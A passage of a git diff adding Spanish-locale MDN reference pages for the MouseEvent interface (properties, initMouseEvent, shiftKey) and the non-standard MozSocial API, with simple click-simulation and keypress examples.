+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/mouseevent/index.html b/files/es/web/api/mouseevent/index.html
new file mode 100644
index 0000000000..74aabe922e
--- /dev/null
+++ b/files/es/web/api/mouseevent/index.html
@@ -0,0 +1,298 @@
+---
+title: MouseEvent
+slug: Web/API/MouseEvent
+tags:
+  - API
+translation_of: Web/API/MouseEvent
+---
+<p id="Summary">{{APIRef("DOM Events")}}</p>
+
+<p>The <code><strong>MouseEvent</strong></code> interface represents events that occur due to the user interacting with a pointing device (such as a mouse). Common events using this interface include {{event("click")}}, {{event("dblclick")}}, {{event("mouseup")}}, {{event("mousedown")}}.</p>
+
+<p><code>MouseEvent</code> derives from {{domxref("UIEvent")}}, which in turn derives from {{domxref("Event")}}. Though the {{domxref("MouseEvent.initMouseEvent()")}} method is kept for backward compatibility, creating of a <code>MouseEvent</code> object should be done using the {{domxref("MouseEvent.MouseEvent", "MouseEvent()")}} constructor.</p>
+
+<p>Several more specific events derivate from <code>MouseEvent</code>: {{domxref("WheelEvent")}} and {{domxref("DragEvent")}}.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}</dt>
+ <dd>Creates a <code>MouseEvent</code> object.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface also inherits properties of its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.altKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>alt</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.button")}} {{readonlyinline}}</dt>
+ <dd>The button number that was pressed when the mouse event was fired. </dd>
+ <dt>{{domxref("MouseEvent.buttons")}} {{readonlyinline}} {{gecko_minversion_inline("15.0")}}</dt>
+ <dd>
+ <p>The buttons being pressed when the mouse event was fired</p>
+ </dd>
+ <dt>{{domxref("MouseEvent.clientX")}} {{readonlyinline}}</dt>
+ <dd>The X coordinate of the mouse pointer in local (DOM content) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.clientY")}} {{readonlyinline}}</dt>
+ <dd>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.ctrlKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>control</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.metaKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>meta</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.movementX")}} {{readonlyinline}}</dt>
+ <dd>The X coordinate of the mouse pointer relative to the position of the last {{event("mousemove")}} event.</dd>
+ <dt>{{domxref("MouseEvent.movementY")}} {{readonlyinline}}</dt>
+ <dd>The Y coordinate of the mouse pointer relative to the position of the last {{event("mousemove")}} event.</dd>
+ <dt>{{domxref("MouseEvent.region")}} {{readonlyinline}}</dt>
+ <dd>Returns the id of the hit region affected by the event. If no hit region is affected, <code>null</code> is returned.</dd>
+ <dt>{{domxref("MouseEvent.relatedTarget")}} {{readonlyinline}}</dt>
+ <dd>
+ <p>The secondary target for the event, if there is one.</p>
+ </dd>
+ <dt>{{domxref("MouseEvent.screenX")}} {{readonlyinline}}</dt>
+ <dd>The X coordinate of the mouse pointer in global (screen) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.screenY")}} {{readonlyinline}}</dt>
+ <dd>The Y coordinate of the mouse pointer in global (screen) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.shiftKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>shift</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.which")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>The button being pressed when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.mozPressure")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>The amount of pressure applied to a touch or tablet device when generating the event; this value ranges between <code>0.0</code> (minimum pressure) and <code>1.0</code> (maximum pressure).</dd>
+ <dt>{{domxref("MouseEvent.mozInputSource")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>
+ <p>The type of device that generated the event (one of the <code>MOZ_SOURCE_*</code> constants listed below). This lets you, for example, determine whether a mouse event was generated by an actual mouse or by a touch event (which might affect the degree of accuracy with which you interpret the coordinates associated with the event). The possible values are:</p>
+
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Constant name</th>
+    <th>Value</th>
+    <th>Desription</th>
+   </tr>
+   <tr>
+    <td><code>MouseEvent.MOZ_SOURCE_UNKNOWN</code></td>
+    <td>0</td>
+    <td>The input device is unknown.</td>
+   </tr>
+   <tr>
+    <td><code><code>MouseEvent.</code>MOZ_SOURCE_MOUSE</code></td>
+    <td>1</td>
+    <td>The event was generated by a mouse (or mouse-like device).</td>
+   </tr>
+   <tr>
+    <td><code><code>MouseEvent.</code>MOZ_SOURCE_PEN</code></td>
+    <td>2</td>
+    <td>The event was generated by a pen on a tablet.</td>
+   </tr>
+   <tr>
+    <td><code><code>MouseEvent.</code>MOZ_SOURCE_ERASER</code></td>
+    <td>3</td>
+    <td>The event was generated by an eraser on a tablet.</td>
+   </tr>
+   <tr>
+    <td><code><code>MouseEvent.</code>MOZ_SOURCE_CURSOR</code></td>
+    <td>4</td>
+    <td>The event was generated by a cursor.</td>
+   </tr>
+   <tr>
+    <td><code><code>MouseEvent.</code>MOZ_SOURCE_TOUCH</code></td>
+    <td>5</td>
+    <td>The event was generated on a touch interface.</td>
+   </tr>
+   <tr>
+    <td><code><code>MouseEvent.</code>MOZ_SOURCE_KEYBOARD</code></td>
+    <td>6</td>
+    <td>The event was generated by a keyboard.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface also inherits methods of its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.getModifierState()")}}</dt>
+ <dd>Returns the current state of the specified modifier key. See the {{domxref("KeyboardEvent.getModifierState")}}() for details.</dd>
+ <dt>{{domxref("MouseEvent.initMouseEvent()")}} {{deprecated_inline}}</dt>
+ <dd>Initializes the value of a <code>MouseEvent</code> created. If the event has already being dispatched, this method does nothing.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>This example demonstrates simulating a click (that is programmatically generating a click event) on a checkbox using DOM methods. </p>
+
+<pre class="brush: js">function simulateClick() {
+  var evt = new <a href="/en-US/docs/Web/API/MouseEvent">MouseEvent</a>("click", {
+    bubbles: true,
+    cancelable: true,
+    view: window,
+  });
+  var cb = document.getElementById("checkbox"); //element to click on
+  var canceled = !cb.<a href="/en-US/docs/Web/API/EventTarget.dispatchEvent" rel="internal" title="en/DOM/element.dispatchEvent">dispatchEvent</a>(evt);
+  if(canceled) {
+    // A handler called preventDefault
+    alert("canceled");
+  } else {
+    // None of the handlers called preventDefault
+    alert("not canceled");
+  }
+}
+document.getElementById("button").addEventListener('click', simulateClick);</pre>
+
+<pre class="brush: html">&lt;p&gt;&lt;label&gt;&lt;input type="checkbox" id="checkbox"&gt; Checked&lt;/label&gt;
+&lt;p&gt;&lt;button id="button"&gt;Click me&lt;/button&gt;</pre>
+
+<p>Click on the button to see how the sample works:</p>
+
+<p>{{ EmbedLiveSample('Example', '', '', '') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dom-mouseevent-region", "MouseEvent.region")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>From {{SpecName('DOM3 Events')}}, added the <code>region</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock','#extensions-to-the-mouseevent-interface','MouseEvent')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>From {{SpecName('DOM3 Events')}}, added <code>movementX</code> and <code>movementY</code> properties.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#events-mouseevents','MouseEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>From {{SpecName('DOM2 Events')}}, added the <code>MouseEvent()</code> constructor, the <code>getModifierState()</code> method and the <code>buttons</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.movementX","movementX")}}<br>
+    {{domxref("MouseEvent.movementY","movementY")}}</td>
+   <td>{{CompatVersionUnknown()}} {{property_prefix("moz")}}</td>
+   <td>{{CompatVersionUnknown()}} {{property_prefix("webkit")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("MouseEvent.buttons", "buttons") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("MouseEvent.which", "which") }}</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>9.0</td>
+   <td>5.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.getModifierState()", "getModifierState()")}}</td>
+   <td>{{CompatGeckoDesktop(15)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.mozPressure", "mozPressure")}} and {{domxref("MouseEvent.mozInputSource", "mozInputSource")}} {{non-standard_inline}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}</td>
+   <td>{{CompatGeckoDesktop(11)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.region")}}</td>
+   <td>{{CompatGeckoDesktop(32)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Its direct parent, {{domxref("UIEvent")}}.</li>
+</ul>
diff --git a/files/es/web/api/mouseevent/initmouseevent/index.html b/files/es/web/api/mouseevent/initmouseevent/index.html
new file mode 100644
index 0000000000..0e5a795b27
--- /dev/null
+++ b/files/es/web/api/mouseevent/initmouseevent/index.html
@@ -0,0 +1,60 @@
+---
+title: event.initMouseEvent
+slug: Web/API/MouseEvent/initMouseEvent
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/MouseEvent/initMouseEvent
+---
+<p>{{ApiRef("DOM Events")}}{{deprecated_header}}</p>
+
+<div class="note">
+<p><strong>No utilize este método porque está obsoleto.</strong></p>
+
+<p>Usa constructores de eventos específicos, como {{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}. La página <a href="/en-US/docs/Web/Guide/Events/Creating_and_triggering_events">Creando y disparando eventos</a> da más información sobre cómo usarlos.</p>
+</div>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Asigna el valor inicial de un evento de ratón una vez creado (normalmente usando el método <a href="/es/docs/Web/API/Document/createEvent">document.createEvent</a>).</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><em>event</em>.initMouseEvent(<em>type</em>,<em>canBubble</em>,<em>cancelable</em>,<em>view</em>,<em>detail</em>,<em>screenX</em>,<em>screenY</em>,<em>clientX</em>,<em>clientY</em>,<em>ctrlKey</em>,<em>altKey</em>,<em>shiftKey</em>,<em>metaKey</em>,<em>button</em>,<em>relatedTarget</em>);
+</pre>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>la cadena del <a href="es/DOM/event.type">type</a>. Los tipos posibles para un evento de ratón incluyen: <code>click</code>, <code>mousedown</code>, <code>mouseup</code>, <code>mouseover</code>, <code>mousemove</code>, <code>mouseout</code>.</dd>
+ <dt><code>canBubble</code></dt>
+ <dd>si el elemento puede ser recurrente. Pone el valor de <a href="es/DOM/event.bubbles">event.bubbles</a>.</dd>
+ <dt><code>cancelable</code></dt>
+ <dd>si la acción inicial del evento puede o no ser cancelada. Pone el valor de <a href="es/DOM/event.cancelable">event.cancelable</a>.</dd>
+ <dt><code>view</code></dt>
+ <dd>el valor AbstractView del evento. Aquí debes pasar el objeto <a href="es/DOM/window">window</a>. Pone el valor de <a href="es/DOM/event.view">event.view</a>.</dd>
+ <dt><code>detail</code></dt>
+ <dd>el contador de clic del evento. Pone el valor de <a href="es/DOM/event.detail">event.detail</a>.</dd>
+ <dt><code>screenX</code></dt>
+ <dd>la coordenada x en pantalla donde ha ocurrido el evento. Pone el valor de <a href="es/DOM/event.screenX">event.screenX</a>.</dd>
+ <dt><code>screenY</code></dt>
+ <dd>la coordenada y en pantalla donde ha ocurrido el evento. Pone el valor de <a href="es/DOM/event.screenY">event.screenY</a>.</dd>
+ <dt><code>clientX</code></dt>
+ <dd>la coordenada client x donde ha ocurrido el evento. Pone el valor de <a href="es/DOM/event.clientX">event.clientX</a>.</dd>
+ <dt><code>clientY</code></dt>
+ <dd>la coordenada client y donde ha ocurrido el evento. Pone el valor de <a href="es/DOM/event.clientY">event.clientY</a>.</dd>
+ <dt><code>ctrlKey</code></dt>
+ <dd>si se ha pulsado o no la tecla Control mientras ha ocurrido el evento. Pone el valor de <a href="es/DOM/event.ctrlKey">event.ctrlKey</a>.</dd>
+ <dt><code>altKey</code></dt>
+ <dd>si se ha pulsado o no la tecla Alt mientras ha ocurrido el evento. Pone el valor de <a href="es/DOM/event.altKey">event.altKey</a>.</dd>
+ <dt><code>shiftKey</code></dt>
+ <dd>si se ha pulsado o no la tecla Mayúsculas mientras ha ocurrido el evento. Pone el valor de <a href="es/DOM/event.shiftKey">event.shiftKey</a>.</dd>
+ <dt><code>metaKey</code></dt>
+ <dd>si se ha pulsado o no una meta tecla mientras ha ocurrido el evento. Pone el valor de <a href="es/DOM/event.metaKey">event.metaKey</a>.</dd>
+ <dt><code>button</code></dt>
+ <dd>el ratón del evento <a href="es/DOM/event.button">event.button</a>.</dd>
+ <dt><code>relatedTarget</code></dt>
+ <dd>el destino del evento <a href="es/DOM/event.relatedTarget">related EventTarget</a>. Sólo se usa con algún tipo de evento (ejemplo: <code>mouseover</code> y <code>mouseout</code>). En otros casos, devuelve <code>null</code>.</dd>
+</dl>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event-initMouseEvent">DOM Level 2 Events: initMouseEvent</a></p>
diff --git a/files/es/web/api/mouseevent/shiftkey/index.html b/files/es/web/api/mouseevent/shiftkey/index.html
new file mode 100644
index 0000000000..7f2fc25d61
--- /dev/null
+++ b/files/es/web/api/mouseevent/shiftkey/index.html
@@ -0,0 +1,126 @@
+---
+title: MouseEvent.shiftKey
+slug: Web/API/MouseEvent/shiftKey
+translation_of: Web/API/MouseEvent/shiftKey
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>El evento de <strong><code>MouseEvent.shiftKey</code></strong> es una propiedad de solo lectura que indica si la tecla de <kbd>shift</kbd> se presionó (<code>true</code>) o no (<code>false</code>).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>shiftKeyPressed</em> = <em>instanceOfMouseEvent</em>.shiftKey
+</pre>
+
+<h3 id="Valor_que_retorna">Valor que retorna</h3>
+
+<p>Un valor booleano</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js">&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Ejemplo de shiftKey&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function showChar(e){
+  alert(
+    "Tecla presionada: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "SHIFT presionada: " + e.shiftKey + "\n"
+    + "ALT presionado: " + e.altKey + "\n"
+  );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onkeypress="showChar(event);"&gt;
+&lt;p&gt;Presione cualquier tecla, con o sin la tecla SHIFT.&lt;br /&gt;
+También puede utilizar SHIFT junto a la tecla ALT.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-shiftKey','MouseEvent.shiftKey')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Sin cambios desde {{SpecName('DOM2 Events')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.shiftKey')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Primera definición.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver más</h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+</ul>
diff --git a/files/es/web/api/mozsocial/closepanel/index.html b/files/es/web/api/mozsocial/closepanel/index.html
new file mode 100644
index 0000000000..1b2305967f
--- /dev/null
+++ b/files/es/web/api/mozsocial/closepanel/index.html
@@ -0,0 +1,19 @@
+---
+title: MozSocial.closePanel
+slug: Web/API/MozSocial/closePanel
+tags:
+  - Social
+translation_of: Archive/Social_API/MozSocial/closePanel
+---
+<p>{{ ApiRef() }}</p>
+<p>{{non-standard_header()}}</p>
+<p>{{fx_minversion_header("17.0")}}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p>Cierra el panel social que está actualmente abierto en el panel del proveedor de servicios sociales de nivel superior.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval">MozSocial.closePanel();
+</pre>
+<h3 id="Parametros">Parametros</h3>
+<p>Ninguno.</p>
+<h3 id="Specification" name="Specification">Especificación</h3>
+<p>No es parte de ninguna especificación.</p>
diff --git a/files/es/web/api/mozsocial/getattention/index.html b/files/es/web/api/mozsocial/getattention/index.html
new file mode 100644
index 0000000000..e362749b56
--- /dev/null
+++ b/files/es/web/api/mozsocial/getattention/index.html
@@ -0,0 +1,19 @@
+---
+title: MozSocial.getAttention
+slug: Web/API/MozSocial/getAttention
+tags:
+  - Social
+translation_of: Archive/Social_API/MozSocial/getAttention
+---
+<p>{{ ApiRef() }}</p>
+<p>{{non-standard_header()}}</p>
+<p>{{fx_minversion_header("17.0")}}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p>Ejecuta algunas acciones, posiblemente específicas de la plataforma, diseñadas para obtener la atención del usuario. Esto puede involucrar la reproducción de un efecto de sonido, parpadeo en la pantalla, o mostrando alguna otra forma de efecto.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval">MozSocial.getAttention();
+</pre>
+<h3 id="Parámetros">Parámetros</h3>
+<p>Ninguno.</p>
+<h3 id="Specification" name="Specification">Especificación</h3>
+<p>No es parte de ninguna especificación.</p>
diff --git a/files/es/web/api/mozsocial/getworker/index.html b/files/es/web/api/mozsocial/getworker/index.html
new file mode 100644
index 0000000000..e32cc7b240
--- /dev/null
+++ b/files/es/web/api/mozsocial/getworker/index.html
@@ -0,0 +1,19 @@
+---
+title: MozSocial.getWorker
+slug: Web/API/MozSocial/getWorker
+translation_of: Archive/Social_API/MozSocial/getWorker
+---
+<p>{{ ApiRef() }}</p>
+<p>{{non-standard_header()}}</p>
+<p>{{fx_minversion_header("17.0")}}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p>Devuelve una referencia al  <a href="/en-US/docs/Social_API/Service_worker_API_reference" title="/en-US/docs/Social_API/Service_worker_API_reference">worker del servicio</a> de contenidos de redes sociales. Una vez obtenido, puedes llamar a su método <code>postMessage()</code> para comunicarte con él. Puedes usar uno de los  <span style="color: #ffff00;"><span style="background-color: rgb(255, 0, 0);">mensajes estándares para redes sociales</span></span>, o mensajes específicos de ese servicio.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval">var <em>socialWorker</em> = MozSocial.getWorker();
+</pre>
+<h3 id="Parámetros">Parámetros</h3>
+<p>Ninguno.</p>
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+<p>Una referencia al <a href="/en-US/docs/Social_API/Service_worker_API_reference" title="/en-US/docs/Social_API/Service_worker_API_reference">worker del servicio</a>.</p>
+<h3 id="Specification" name="Specification">Especificación</h3>
+<p>No forma parte de ninguna especificación.</p>
diff --git a/files/es/web/api/mozsocial/index.html b/files/es/web/api/mozsocial/index.html
new file mode 100644
index 0000000000..a2f559a9df
--- /dev/null
+++ b/files/es/web/api/mozsocial/index.html
@@ -0,0 +1,44 @@
+---
+title: MozSocial
+slug: Web/API/MozSocial
+tags:
+  - API
+translation_of: Archive/Social_API/MozSocial
+---
+<div>{{ ApiRef("Social API") }} {{non-standard_header}}{{fx_minversion_header("17.0")}}</div>
+
+<p>The <code>MozSocial</code> object, returned by the <code>navigator.mozSocial</code> property, is available within the social media provider's panel to provide functionality it may need.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Although Mozilla hopes to submit this API for standardization eventually, it has not yet done so.</p>
+</div>
+
+<h2 id="Attributes" name="Attributes">Properties</h2>
+
+<dl>
+ <dt>{{domxref("MozSocial.isVisible")}}</dt>
+ <dd>Returns a Boolean value; the result is <code>true</code> if the content is visible, otherwise it's <code>false</code>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("MozSocial.closePanel()")}}</dt>
+ <dd>Closes the currently open flyout panel.</dd>
+ <dt>{{domxref("MozSocial.getAttention()")}}</dt>
+ <dd>Performs some action designed to get the user's attention; the exact behavior may vary from platform to platform. This might display a visual effect, play an audible notification, flash the screen, or use some other technique.</dd>
+ <dt>{{domxref("MozSocial.getWorker()")}}</dt>
+ <dd>Returns a reference to the service worker; once content has this reference, it can call <code>worker.port.postMessage()</code> method to communicate with the service.</dd>
+ <dt>{{domxref("MozSocial.openChatWindow()")}}</dt>
+ <dd>Opens a chat window that is anchored to the bottom of the browser window. Each chat window is expected to be a singular chat, but functionality may vary by provider.</dd>
+ <dt>{{domxref("MozSocial.openPanel()")}}</dt>
+ <dd>Opens a flyout panel attached to the sidebar at a given vertical offset. This might be, for example, used to display the actual conversation corresponding to a notification in the sidebar.</dd>
+ <dt>{{domxref("MozSocial.share()")}}</dt>
+ <dd>Initiates a share action via the SocialAPI Share panel.  One argument is passed, an object containing "url", "title", "description", "source" and "image".</dd>
+</dl>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Social_API" title="Social_API">Social API</a></li>
+</ul>
diff --git a/files/es/web/api/mozsocial/isvisible/index.html b/files/es/web/api/mozsocial/isvisible/index.html
new file mode 100644
index 0000000000..7bc90e47da
--- /dev/null
+++ b/files/es/web/api/mozsocial/isvisible/index.html
@@ -0,0 +1,22 @@
+---
+title: MozSocial.isVisible
+slug: Web/API/MozSocial/isVisible
+tags:
+  - Social
+translation_of: Archive/Social_API/MozSocial/isVisible
+---
+<p>{{non-standard_header()}}</p>
+<p>{{fx_minversion_header("17.0")}}</p>
+<p>{{ ApiRef() }}</p>
+<h2 id="Summary" name="Summary">Resumen</h2>
+<p>Indica si la barra lateral del contenido del proveedor de social media está o no visible actualmente.</p>
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+<pre class="eval">var <em>visible</em> = navigator.MozSocial.isVisible
+</pre>
+<p>Al retornar, <code>visible</code> es <code>true</code> si la barra lateral es visible actualmente; de otro modo es <code>false</code>.</p>
+<h2 id="Especificación">Especificación</h2>
+<p>No es parte de ninguna especificación.</p>
+<h2 id="Ver_también">Ver también</h2>
+<ul>
+ <li><a href="/en-US/docs/Social_API" title="/en-US/docs/Social_API">Social API</a></li>
+</ul>
diff --git a/files/es/web/api/mozsocial/openchatwindow/index.html b/files/es/web/api/mozsocial/openchatwindow/index.html
new file mode 100644
index 0000000000..26f6b97643
--- /dev/null
+++ b/files/es/web/api/mozsocial/openchatwindow/index.html
@@ -0,0 +1,26 @@
+---
+title: MozSocial.openChatWindow
+slug: Web/API/MozSocial/openChatWindow
+translation_of: Archive/Social_API/MozSocial/openChatWindow
+---
+<p>{{ ApiRef() }}</p>
+<p>{{non-standard_header()}}</p>
+<p>{{fx_minversion_header("17.0")}}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p>Abre una ventana de chat, anclada en la parte inferior de la ventana del navegador. Cada ventana de chat suele ser un one-on-one chat, pero esta funcionalidad puede variar dependiendo del proveedor.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval">MozSocial.openChatWindow(<em>toUrl</em>, <em>callback</em>);
+</pre>
+<h3 id="Parametros">Parametros</h3>
+<dl>
+ <dt>
+  <code>toUrl</code></dt>
+ <dd>
+  URL a la que se abre la conexión de chat.</dd>
+ <dt>
+  <code>callback</code></dt>
+ <dd>
+  Un objeto para recibir notificaciones de devolución de llamada en la conexión. La devolución de llamada recibe como entrada una referencia a la ventana de chat. Vease <a href="/en-US/docs/Social_API/Implementing_chat_functionality" title="/en-US/docs/Social_API/Implementing_chat_functionality">Implementing chat functionality</a> para más detalles.</dd>
+</dl>
+<h3 id="Specification" name="Specification">Especificaciones</h3>
+<p>No es parte de ninguna especificación.</p>
diff --git a/files/es/web/api/mozsocial/openpanel/index.html b/files/es/web/api/mozsocial/openpanel/index.html
new file mode 100644
index 0000000000..9ea96cd5bd
--- /dev/null
